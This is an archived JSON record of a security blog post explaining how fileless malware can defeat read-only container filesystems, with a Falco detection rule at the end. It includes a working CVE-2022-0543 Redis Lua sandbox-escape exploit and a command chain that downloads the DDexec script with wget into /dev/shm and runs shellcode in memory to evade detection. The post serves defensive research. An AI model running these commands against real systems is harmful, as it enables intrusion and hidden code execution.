{
	"id": "840d1e4a-8397-4157-9604-7be4fa5ce93d",
	"created_at": "2026-04-06T00:21:58.591644Z",
	"updated_at": "2026-04-10T03:20:59.053468Z",
	"deleted_at": null,
	"sha1_hash": "096a46f1f9a6f002ced618ea84895f2016159004",
	"title": "Fileless malware mitigation",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 727993,
	"plain_text": "Fileless malware mitigation\r\nBy Nicholas Lang\r\nPublished: 2022-05-03 · Archived: 2026-04-05 20:08:32 UTC\r\nAs detection methodologies advance, attackers are increasingly using more complex techniques such as fileless\r\nmalware. In the following article, we will see how to detect and mitigate this threat.\r\nContainers provide a number of security features that are not simply available on a normal host. One of those is\r\nthe ability to make the container's root filesystem read-only. By making the file system unable to be altered, it\r\nprevents an attacker from writing their malware executable to disk. Most attacks rely on writing files in order\r\nto work, but sophisticated cases use fileless malware as part of their malicious behavior. It's also important to\r\nprevent legitimate applications from being affected, so some care must be taken.\r\nMany people see read-only filesystems as a catch-all to stop malicious activity and container drift in containerized\r\nenvironments. This blog will explore the mechanics and prevalence of malware fileless execution in attacking\r\nread-only containerized environments.\r\nAccording to BridgeCrew's Kubernetes documentation:\r\n\"Using an immutable root filesystem and a verified boot mechanism prevents attackers from 'owning' the machine\r\nthrough permanent local changes. An immutable root filesystem can also prevent malicious binaries from writing\r\nto the host system.\"\r\nWe will demonstrate a way to attack a container with a read-only root filesystem, and we find it fitting to attack\r\nthe in-memory data store with fileless malware that executes in-memory. Let's begin!\r\nhttps://sysdig.com/blog/containers-read-only-fileless-malware/\r\nPage 1 of 6\n\nSetting the scene\r\nOur target environment is a vulnerable, minimal ( coreutils + redis ) Redis Docker image\r\n( vulhub/redis:5.0.7 ), making sure to pass the --read-only flag to ensure that we remain fileless in our\r\nattack.\r\nOn Kubernetes, this can be set via spec:containers:securityContext:readOnlyRootFilesystem:true .\r\nThe Redis service in question is vulnerable to CVE-2022-0543, a Lua sandbox escape. According to the CVSS\r\nsystem, it scores 10.0 as CRITICAL severity.\r\nTo learn more about how a vulnerability score is calculated, Are Vulnerability Scores Tricking You?\r\nUnderstanding the severity of CVSS and using them effectively\r\nRedis ships with the ability to evaluate Lua scripts on the server-side via the 'eval' command. CVE-2022-0543\r\nallows an attacker to escape the sandbox that the Lua code normally executes inside of, which makes it trivial to\r\nexecute shell commands directly on the host. The Lua sandbox escape is executed when the attacker loads the\r\nliblua5.1.so.0 Shared Object file (that exists in the Redis host filesystem), giving access to the host.\r\nThe CVE-2022-0543 comes with a proof-of-concept (PoC) exploit that we will test via redis-cli .\r\neval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\");\r\nlocal io = io_l();\r\nlocal f = io.popen(\"id\", \"r\"); -- this is our shell command to execute on the host\r\nlocal res = f:read(\"*a\"); f:close(); return res' 0\r\nTesting our PoC below on the vulnerable container, it abuses the Lua sandbox escape to run the shell command id.\r\nhttps://sysdig.com/blog/containers-read-only-fileless-malware/\r\nPage 2 of 6\n\nAttacking Redis without touching the disk\r\nFirst, let's verify that we are indeed forced to operate without creating ANY new files on the system. We'll use\r\ntouch to try to create a file, and then ls to verify that it does or does not exist.\r\nlocal f = io.popen(\"touch\", \"/tmp/abc123\"); -- this is our shell command to create the file on the host\r\nlocal f = io.popen(\"ls\", \"/tmp/\"); -- this is our shell command to list the file on the host\r\nWe can see that our touch attempt was unsuccessful, There is no file /tmp/abc123, despite our best efforts.\r\nFileless Malware – GTFObins and LOLBins\r\nIn the world of anti-forensics, preventing your malicious code from ever touching disk can be an effective way of\r\nhiding it from a subsequent investigation. Disk forensics isn't very helpful if a program is never written to the disk\r\nin the first place. It would still be vulnerable to memory forensics, of course. On both Windows and Linux, there\r\nexist fileless malware that store an executable in memory and execute it by doing a little extra effort.\r\nIn the Windows arena, LOLBins (Living off the Land Binaries) have been used for years in order to stealthily\r\nachieve an attacker's goals (whether they be persistence, execution, remote access, etc.). These are Microsoft-signed files, either native to the OS or downloaded from Microsoft, that have extra \"unexpected\" functionality.\r\nThey have legitimate uses, but can also be leveraged by an attacker.\r\nFor example, certutils.exe can be used by an attacker to download malware. Linux has similar installed tools,\r\nGTFObins, but for the purposes of this article, we will use an advanced example.\r\nAs early as 2004, fileless malware techniques were publicly released, targeting Linux systems (userland exec\r\n(grugq), Linux code injection without ptrace). More recently, Spanish researcher arget13 shared DDexec, their\r\ntake on code injection, via the commonly available Linux LOLBin (installed by default as part of GNU coreutils)\r\ndd . We'll use ddexec to ensure payload execution without touching the disk (with a bonus side-effect of not\r\nrevealing the process name).\r\nNow what? How do we get our \"malicious\" code onto the target?\r\n/dev/shm to the rescue!\r\nhttps://sysdig.com/blog/containers-read-only-fileless-malware/\r\nPage 3 of 6\n\nEnter: shm! Sh-what? Shm (A typically brief Linux Kernel developer acronym for shared memory)! From\r\ncyberciti.biz:\r\n\"shm / shmfs is also known as tmpfs, which is a common name for a temporary file storage facility on many Unix-like operating systems. It is intended to appear as a mounted file system, but one which uses virtual memory\r\ninstead of a persistent storage device.\"\r\nOkay, well how do we use it? It's simple. GNU coreutils ships with mktemp, which is all we need to get started.\r\nWe can use mktemp's -p flag to tell it to make a temporary file in /dev/shm.\r\nLet's do so, and verify that our \"file\" is serving its purpose. We'll change the shell command(s) inside our exploit\r\nfrom id to:\r\nThanks to tmpfs and shm, we are able to create \"files\" inside a container that has a read-only filesystem!\r\nLet's get this exploit rolling.\r\nFirst, we'll create two temp files. One to store the script (ddsc.sh, part of the DDexec repository, which\r\nallows executing arbitrary shellcode in-memory), and one to store shellcode (we need a separate file for the\r\nshellcode because ddsc.sh expects to take input from a file).\r\nThen, we'll download our script to the first tempfile from GitHub using wget, and use echo to write our\r\nshellcode to the second. For the proof-of-concept exploit, we will use shellcode that simply prints \"Hello\r\nworld\" to standard out.\r\nDDEXEC=$(mktemp -p /dev/shm) SHELLCODE=$(mktemp -p /dev/shm);\r\nwget -O - https://raw.githubusercontent.com/arget13/DDexec/main/ddsc.sh \u003e $DDEXEC;\r\necho \\\"4831c0fec089c7488d3510000000ba0c0000000f054831c089c7b03c0f0548656c6c6f20776f726c640a00\\\" \u003e $SHELLCODE;\r\nbash $DDEXEC -x \u003c $SHELLCODE\r\nhttps://sysdig.com/blog/containers-read-only-fileless-malware/\r\nPage 4 of 6\n\nSuccess! We have:\r\nDeployed our Redis exploit\r\nWritten our script and shellcode to two temporary files\r\nUsed bash to execute our script, giving the shellcode as input\r\nEvaded multiple defenses and detections (MITRE T1211) – the process listing (ps) and the read-only\r\nfilesystem\r\nDetection in-memory attacks with Falco\r\nEven with the –read-only protection flag, we demonstrate how attackers can find new ways of exploitation using\r\nfileless malware techniques. But obviously, all is not lost. There are key elements that can help detect this\r\nmalicious behavior. Let's see how to implement this detection with Falco.\r\nFalco is the CNCF open-source project, used to detect unexpected application behavior and send alerts at runtime.\r\nYou can leverage its powerful and flexible rules language to match suspicious behaviors in order to generate event\r\nalerts. It comes with a predefined set of rules, but you can also customize them or create new ones that fit your\r\nneeds as you want.\r\nThe following is an example Falco rule that will detect the above technique used to subvert a read-only root\r\nfilesystem.\r\n- rule: Execution from /dev/shm\r\n desc: This rule detects file execution from the /dev/shm directory, a common location for threat actors to sta\r\n condition: evt.type=execve and evt.dir=\u003c and ((proc.exe startswith '/dev/shm' or (proc.cwd startswith /dev/shm\r\n output: \"File execution detected from /dev/shm (proc.cmdline=%proc.cmdline image=%container.image.repository)\"\r\n priority: WARNING\r\n tags: [mitre_execution]\r\nWith this new Falco rule loaded, we are now able to detect the execution of a file from /dev/shm and generate an\r\nalert.\r\nhttps://sysdig.com/blog/containers-read-only-fileless-malware/\r\nPage 5 of 6\n\nFinal words about fileless malware mitigation\r\nWe've demonstrated that containers running with their root filesystem set to read-only can be just as vulnerable as\r\nthose without. A read-only file system will not provide adequate protection to mitigate all vulnerabilities\r\nexploited via fileless malware techniques.\r\nThanks to /dev/shm, we are able to make \"files\" backed by memory instead of disk space that we can use to\r\ndownload additional malware and further compromise the system. If you are running vulnerable containers as\r\nidentified by one of the many vulnerability scanners now available, please patch them as soon as possible.\r\nIf you would like to find out more about Falco:\r\nGet started at Falco.org.\r\nCheck out the Falco project on GitHub.\r\nGet involved with the Falco community.\r\nMeet the maintainers on the Falco Slack.\r\nFollow @falco_org on Twitter.\r\nSource: https://sysdig.com/blog/containers-read-only-fileless-malware/\r\nhttps://sysdig.com/blog/containers-read-only-fileless-malware/\r\nPage 6 of 6",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://sysdig.com/blog/containers-read-only-fileless-malware/"
	],
	"report_names": [
		"containers-read-only-fileless-malware"
	],
	"threat_actors": [],
	"ts_created_at": 1775434918,
	"ts_updated_at": 1775791259,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/096a46f1f9a6f002ced618ea84895f2016159004.pdf",
		"text": "https://archive.orkl.eu/096a46f1f9a6f002ced618ea84895f2016159004.txt",
		"img": "https://archive.orkl.eu/096a46f1f9a6f002ced618ea84895f2016159004.jpg"
	}
}